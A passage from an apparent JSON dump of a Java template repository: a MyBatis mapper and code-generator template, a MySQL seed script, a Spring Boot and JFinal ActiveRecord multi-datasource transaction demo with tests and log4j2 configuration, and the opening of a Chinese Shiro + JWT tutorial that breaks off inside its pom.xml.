.-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//            佛祖保佑       永不宕机     永无BUG                    //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.company.project.dao.UserMapper\">\n\n        <!-- 通用查询映射结果 -->\n        <resultMap id=\"BaseResultMap\" type=\"com.company.project.model.model.User\">\n                    <id column=\"id\" property=\"id\"/>\n                    <result column=\"username\" property=\"username\"/>\n                    <result column=\"password\" property=\"password\"/>\n                    <result column=\"nick_name\" property=\"nickName\"/>\n                    <result column=\"sex\" property=\"sex\"/>\n                    <result column=\"create_date\" property=\"createDate\"/>\n                    <result column=\"create_user\" property=\"createUser\"/>\n                    <result column=\"update_date\" property=\"updateDate\"/>\n                    <result column=\"update_user\" property=\"updateUser\"/>\n                    <result column=\"del_flag\" property=\"delFlag\"/>\n        </resultMap>\n\n        <!-- 通用查询结果列 -->\n        <sql id=\"Base_Column_List\">\n            id, username, password, nick_name, sex, create_date, create_user, update_date, update_user, del_flag\n        </sql>\n\n</mapper>"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n    }\n\n}"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/test/java/com/company/project/Tester.java",
    "content": "//package com.company.project;\n//\n//import org.junit.Test;\n//import org.junit.runner.RunWith;\n//import org.springframework.boot.test.context.SpringBootTest;\n//import org.springframework.test.context.junit4.SpringRunner;\n//\n///**\n// * 单元测试\n// */\n//@RunWith(SpringRunner.class)\n//@SpringBootTest(classes = Application.class)\n//public class Tester {\n//\n//    @Test\n//    public void test() {\n//\n//    }\n//}\n//\n//\n//\n"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "java_project_template/springboot_api_simple/src/test/resources/user.sql",
    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50529\n Source Host           : localhost:3306\n Source Schema         : project\n\n Target Server Type    : MySQL\n Target Server Version : 50529\n File Encoding         : 65001\n\n Date: 08/01/2020 15:53:02\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for t_user\n-- ----------------------------\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of t_user\n-- ----------------------------\nINSERT INTO `t_user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '测试', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `t_user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '测试-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/.gitignore",
    "content": "# maven ignore\ntarget/\n*.jar\n*.war\n*.zip\n*.tar\n*.tar.gz\n\nbuild/\n\n# eclipse ignore\n.settings/\n.project\n.classpath\n\n# idea ignore\n.idea/\n*.ipr\n*.iml\n*.iws\n\n# temp ignore\nlogs/\n*.log\n*.cache\n*.diff\n*.patch\n*.tmp\n*.java~\n*.properties~\n*.xml~\n\n# system ignore\n.DS_Store\nThumbs.db\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/README.md",
    "content": ""
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.lxhc</groupId>\n    <artifactId>springboot_jfinal_activerecord</artifactId>\n    <version>1.0-SNAPSHOT</version>\n\n    <name>spring_jfinal_activerecord</name>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <springboot.version>2.3.0.RELEASE</springboot.version>\n        <jfinal.activerecord.version>4.8</jfinal.activerecord.version>\n        <mysql.version>5.1.20</mysql.version>\n        <druid.version>1.1.22</druid.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.12</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>activerecord</artifactId>\n            <version>${jfinal.activerecord.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-dependencies</artifactId>\n            <version>${springboot.version}</version>\n            <type>pom</type>\n            <scope>import</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <version>${springboot.version}</version>\n            <exclusions>\n                <!-- 移除 tomcat 以使用 undertow -->\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n                <!-- 去掉logback配置 -->\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-logging</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- 使用实务 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n            <version>${springboot.version}</version>\n            <exclusions>\n                <!-- 去掉logback配置 -->\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-logging</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-undertow</artifactId>\n            <version>${springboot.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-log4j2</artifactId>\n            <version>${springboot.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <version>${springboot.version}</version>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n    </dependencies>\n\n</project>\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/sql/emp.sql",
    "content": "CREATE TABLE `emp` (\n  `id` int(11) NOT NULL,\n  `name` varchar(10) NOT NULL,\n  `age` int(11) DEFAULT 18\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n\nALTER TABLE `emp`\n  ADD PRIMARY KEY (`id`);\n\nALTER TABLE `emp`\n  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;\nCOMMIT;\n\nCREATE TABLE `emp_balance` (\n  `id` int(11) NOT NULL,\n  `emp_id` int(11) NOT NULL,\n  `balance` int(11) DEFAULT 0\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n\nALTER TABLE `emp_balance`\n  ADD PRIMARY KEY (`id`);\n\nALTER TABLE `emp_balance`\n  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;\nCOMMIT;"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/java/com/lxhc/Application.java",
    "content": "package com.lxhc;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * Created on 2020/5/19.\n *\n * @author 拎小壶冲\n */\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/java/com/lxhc/config/JfinalActiveRecordConfig.java",
    "content": "package com.lxhc.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.jfinal.plugin.activerecord.ActiveRecordPlugin;\nimport com.lxhc.model.Emp;\nimport com.lxhc.model.EmpBalance;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\nimport org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy;\n\n/**\n * Created on 2020/5/19.\n *\n * @author 拎小壶冲\n */\n@Configuration\npublic class JfinalActiveRecordConfig {\n    /**\n     * 主数据源名称\n     */\n    private static final String MAIN_DATA_SOURCE_CONFIG = \"main\";\n\n    /**\n     * 业务数据源名称\n     */\n    private static final String BIZ_DATA_SOURCE_CONFIG = \"biz\";\n\n    @Bean\n    @ConfigurationProperties(\"spring.datasource.main\")\n    public DruidDataSource masterDataSource(){\n        return new DruidDataSource();\n    }\n\n    @Bean\n    @ConfigurationProperties(\"spring.datasource.biz\")\n    public DruidDataSource bizDataSource(){\n        return new DruidDataSource();\n    }\n\n    /**\n     * 主数据源\n     * @return\n     */\n    @Bean\n    public ActiveRecordPlugin initMainActiveRecord() {\n        ActiveRecordPlugin arp = new ActiveRecordPlugin(MAIN_DATA_SOURCE_CONFIG, masterTransactionAwareDataSourceProxy());\n\n        arp.addMapping(\"emp\", Emp.class);\n        arp.addMapping(\"emp_balance\", EmpBalance.class);\n\n        arp.start();\n\n        return arp;\n    }\n\n    /**\n     * 业务数据源\n     * @return\n     */\n    @Bean\n    public ActiveRecordPlugin initBizActiveRecord() {\n        ActiveRecordPlugin arp = new ActiveRecordPlugin(BIZ_DATA_SOURCE_CONFIG, bizTransactionAwareDataSourceProxy());\n\n//        arp2.addMapping(\"emp\", Emp.class);\n\n        arp.start();\n\n        return arp;\n    }\n\n    /**\n     * 设置数据源代理\n     */\n    @Bean\n    public TransactionAwareDataSourceProxy masterTransactionAwareDataSourceProxy() {\n        TransactionAwareDataSourceProxy transactionAwareDataSourceProxy = new TransactionAwareDataSourceProxy();\n        transactionAwareDataSourceProxy.setTargetDataSource(masterDataSource());\n        return transactionAwareDataSourceProxy;\n    }\n\n    @Bean\n    public TransactionAwareDataSourceProxy bizTransactionAwareDataSourceProxy() {\n        TransactionAwareDataSourceProxy transactionAwareDataSourceProxy = new TransactionAwareDataSourceProxy();\n        transactionAwareDataSourceProxy.setTargetDataSource(bizDataSource());\n        return transactionAwareDataSourceProxy;\n    }\n\n    /**\n     * 设置事务管理\n     */\n    @Bean(name=\"mainDataSourceTransactionManager\")\n    public DataSourceTransactionManager masterDataSourceTransactionManager() {\n        DataSourceTransactionManager dataSourceTransactionManager = new DataSourceTransactionManager();\n        dataSourceTransactionManager.setDataSource(masterTransactionAwareDataSourceProxy());\n        return dataSourceTransactionManager;\n    }\n\n    @Bean(name=\"bizDataSourceTransactionManager\")\n    public DataSourceTransactionManager bizDataSourceTransactionManager() {\n        DataSourceTransactionManager dataSourceTransactionManager = new DataSourceTransactionManager();\n        dataSourceTransactionManager.setDataSource(bizTransactionAwareDataSourceProxy());\n        return dataSourceTransactionManager;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/java/com/lxhc/model/Emp.java",
    "content": "package com.lxhc.model;\n\nimport com.jfinal.plugin.activerecord.Model;\n\n/**\n * Created on 2020/5/19.\n *\n * @author 拎小壶冲\n */\npublic class Emp extends Model<Emp> {\n    public static final Emp dao = new Emp().dao();\n}\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/java/com/lxhc/model/EmpBalance.java",
    "content": "package com.lxhc.model;\n\nimport com.jfinal.plugin.activerecord.Model;\n\n/**\n * Created on 2020/5/21.\n *\n * @author 拎小壶冲\n */\npublic class EmpBalance extends Model<EmpBalance> {\n    public static final EmpBalance dao = new EmpBalance().dao();\n}\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/java/com/lxhc/service/EmpBalanceService.java",
    "content": "package com.lxhc.service;\n\nimport com.lxhc.model.Emp;\nimport com.lxhc.model.EmpBalance;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\n/**\n * Created on 2020/5/21.\n *\n * @author 拎小壶冲\n */\n@Service\npublic class EmpBalanceService {\n\n    @Transactional(transactionManager=\"mainDataSourceTransactionManager\", rollbackFor = Exception.class)\n    public void addBalance() {\n        // 这个应该不能保存进表中才对\n        new EmpBalance().set(\"emp_id\", 1)\n                .set(\"balance\", 10).save();\n\n        Emp emp = Emp.dao.findById(1);\n\n        // 这里故意写错，以测试实务\n        emp.set(\"name\", \"超出长度的字符串用于测试错误\").update();\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/resources/application.yml",
    "content": "spring:\n  # 数据源配置\n  datasource:\n    main: #主数据源\n      driverClassName: com.mysql.jdbc.Driver\n      url: jdbc:mysql://localhost:3306/db_test\n      username: root\n      password:\n    biz: #业务数据源\n      driverClassName: com.mysql.jdbc.Driver\n      url: jdbc:mysql://localhost:3306/test\n      username: root\n      password:"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/main/resources/log4j2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--日志级别以及优先级排序: OFF > FATAL > ERROR > WARN > INFO > DEBUG > TRACE > ALL -->\n<!--Configuration后面的status，这个用于设置log4j2自身内部的信息输出，可以不设置，当设置成trace时，你会看到log4j2内部各种详细输出-->\n<!--monitorInterval：Log4j能够自动检测修改配置 文件和重新配置本身，设置间隔秒数-->\n<configuration status=\"WARN\" monitorInterval=\"30\">\n    <!--先定义所有的appender-->\n    <appenders>\n        <!--这个输出控制台的配置-->\n        <console name=\"Console\" target=\"SYSTEM_OUT\">\n            <!--输出日志的格式-->\n<!--            <PatternLayout pattern=\"[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\"/>-->\n            <PatternLayout\n                    pattern=\"%style{%d{ISO8601}}{black} %highlight{%-5level }[%style{%t}{bright,blue}] %style{%C{1.}}{bright,yellow}: %msg%n%throwable\" />\n            <!--控制台只输出level及其以上级别的信息（onMatch），其他的直接拒绝（onMismatch）-->\n            <ThresholdFilter level=\"debug\" onMatch=\"ACCEPT\" onMismatch=\"DENY\"/>\n        </console>\n        <!--文件会打印出所有信息，这个log每次运行程序会自动清空，由append属性决定，这个也挺有用的，适合临时测试用-->\n        <File name=\"Filelog\" fileName=\"log/test.log\" append=\"false\">\n            <!--%date表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度 %msg：日志消息，%n是换行符  -->\n            <PatternLayout pattern=\"%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n\"/>\n        </File>\n        <!-- 这个会打印出所有的info及以下级别的信息，每次大小超过size，则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩，作为存档-->\n        <RollingFile name=\"RollingFileInfo\" fileName=\"${sys:user.home}/logs/info.log\"\n                     filePattern=\"${sys:user.home}/logs/$${date:yyyy-MM}/info-%d{yyyy-MM-dd}-%i.log\">\n            <!--控制台只输出level及以上级别的信息（onMatch），其他的直接拒绝（onMismatch）-->\n            <ThresholdFilter level=\"info\" onMatch=\"ACCEPT\" onMismatch=\"DENY\"/>\n            <PatternLayout pattern=\"[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\"/>\n            <Policies>\n                <TimeBasedTriggeringPolicy/>\n                <SizeBasedTriggeringPolicy size=\"100 MB\"/>\n            </Policies>\n        </RollingFile>\n        <RollingFile name=\"RollingFileWarn\" fileName=\"${sys:user.home}/logs/warn.log\"\n                     filePattern=\"${sys:user.home}/logs/$${date:yyyy-MM}/warn-%d{yyyy-MM-dd}-%i.log\">\n            <ThresholdFilter level=\"warn\" onMatch=\"ACCEPT\" onMismatch=\"DENY\"/>\n            <PatternLayout pattern=\"[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\"/>\n            <Policies>\n                <TimeBasedTriggeringPolicy/>\n                <SizeBasedTriggeringPolicy size=\"100 MB\"/>\n            </Policies>\n            <!-- DefaultRolloverStrategy属性如不设置，则默认为最多同一文件夹下7个文件，这里设置了20 -->\n            <DefaultRolloverStrategy max=\"20\"/>\n        </RollingFile>\n        <RollingFile name=\"RollingFileError\" fileName=\"${sys:user.home}/logs/error.log\"\n                     filePattern=\"${sys:user.home}/logs/$${date:yyyy-MM}/error-%d{yyyy-MM-dd}-%i.log\">\n            <ThresholdFilter level=\"error\" onMatch=\"ACCEPT\" onMismatch=\"DENY\"/>\n            <PatternLayout pattern=\"[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n\"/>\n            <Policies>\n                <TimeBasedTriggeringPolicy/>\n                <SizeBasedTriggeringPolicy size=\"100 MB\"/>\n            </Policies>\n        </RollingFile>\n    </appenders>\n    <!--然后定义logger，只有定义了logger并引入的appender，appender才会生效-->\n    <loggers>\n        <!--过滤掉spring和mybatis的一些无用的DEBUG信息-->\n        <logger name=\"org.springframework\" level=\"INFO\"></logger>\n        <root level=\"info\">\n            <appender-ref ref=\"Console\"/>\n            <appender-ref ref=\"Filelog\"/>\n            <appender-ref ref=\"RollingFileInfo\"/>\n            <appender-ref ref=\"RollingFileWarn\"/>\n            <appender-ref ref=\"RollingFileError\"/>\n        </root>\n    </loggers>\n</configuration>"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/test/java/com/lxhc/model/EmpTest.java",
    "content": "package com.lxhc.model;\n\nimport com.jfinal.plugin.activerecord.Db;\nimport com.jfinal.plugin.activerecord.Record;\nimport com.lxhc.Application;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * Created on 2020/5/19.\n *\n * @author 拎小壶冲\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class EmpTest {\n\n    @Test\n    public void masterEmpTest() {\n        Emp emp = Emp.dao.findById(1);\n        System.out.println(emp.getStr(\"name\"));\n\n        Record emp2 = Db.use(\"biz\").findFirst(\"select * from emp where id = 1\");\n        System.out.println(emp2.getStr(\"name\"));\n\n        Emp emp3 = new Emp().use(\"biz\").findById(1);\n        System.out.println(emp3.getStr(\"name\"));\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot_jfinal_activerecord/src/test/java/com/lxhc/service/EmpBalanceServiceTest.java",
    "content": "package com.lxhc.service;\n\nimport com.lxhc.Application;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * Created on 2020/5/21.\n *\n * @author 拎小壶冲\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class EmpBalanceServiceTest {\n\n    @Autowired\n    private EmpBalanceService empBalanceService;\n\n    @Test\n    public void addBalanceTest() {\n        empBalanceService.addBalance();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/doc/.keep",
    "content": ""
  },
  {
    "path": "jun_java_plugins/doc/Shiro + JWT + Spring Boot Restful 简易教程.md",
    "content": "# [Shiro + JWT + Spring Boot Restful 简易教程](https://segmentfault.com/a/1190000039843857)\n\n\n\n## 特性\n\n- 完全使用了 Shiro 的注解配置，保持高度的灵活性。\n- 放弃 Cookie ，Session ，使用JWT进行鉴权，完全实现无状态鉴权。\n- JWT 密钥支持过期时间。\n- 对跨域提供支持。\n\n## 准备工作\n\n在开始本教程之前，请保证已经熟悉以下几点。\n\n- Spring Boot 基本语法，至少要懂得 `Controller` 、 `RestController` 、 `Autowired` 等这些基本注释。其实看看官方的 Getting-Start 教程就差不多了。\n- [JWT](https://link.segmentfault.com/?url=https%3A%2F%2Fjwt.io%2F) （Json Web Token）的基本概念，并且会简单操作JWT的 [JAVA SDK](https://link.segmentfault.com/?url=https%3A%2F%2Fgithub.com%2Fauth0%2Fjava-jwt)。\n- Shiro 的基本操作，看下官方的 [10 Minute Tutorial](https://link.segmentfault.com/?url=http%3A%2F%2Fshiro.apache.org%2F10-minute-tutorial.html) 即可。\n- 模拟 HTTP 请求工具，我使用的是 PostMan。\n\n简要的说明下我们为什么要用 JWT ，因为我们要实现完全的前后端分离，所以不可能使用 `session`， `cookie` 的方式进行鉴权，所以 JWT 就被派上了用场，你可以通过一个加密密钥来进行前后端的鉴权。\n\n## 程序逻辑\n\n1. 我们 POST 用户名与密码到 `/login` 进行登入，如果成功返回一个加密 token，失败的话直接返回 401 错误。\n2. 之后用户访问每一个需要权限的网址请求必须在 `header` 中添加 `Authorization` 字段，例如 `Authorization: token` ，`token` 为密钥。\n3. 后台会进行 `token` 的校验，如果有误会直接返回 401。\n\n## Token加密说明\n\n- 携带了 `username` 信息在 token 中。\n- 设定了过期时间。\n- 使用用户登入密码对 `token` 进行加密。\n\n## Token校验流程\n\n1. 获得 `token` 中携带的 `username` 信息。\n2. 进入数据库搜索这个用户，得到他的密码。\n3. 使用用户的密码来检验 `token` 是否正确。\n\n## 准备Maven文件\n\n新建一个 Maven 工程，添加相关的 dependencies。\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.inlighting</groupId>\n    <artifactId>shiro-study</artifactId>\n    <version>1.0-SNAPSHOT</version>\n\n    <dependencies>\n\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-spring</artifactId>\n            <version>1.3.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.auth0</groupId>\n            <artifactId>java-jwt</artifactId>\n            <version>3.2.0</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <version>1.5.8.RELEASE</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n                <!-- Srping Boot 打包工具 -->\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>1.5.7.RELEASE</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal>\n                        </goals>\n                    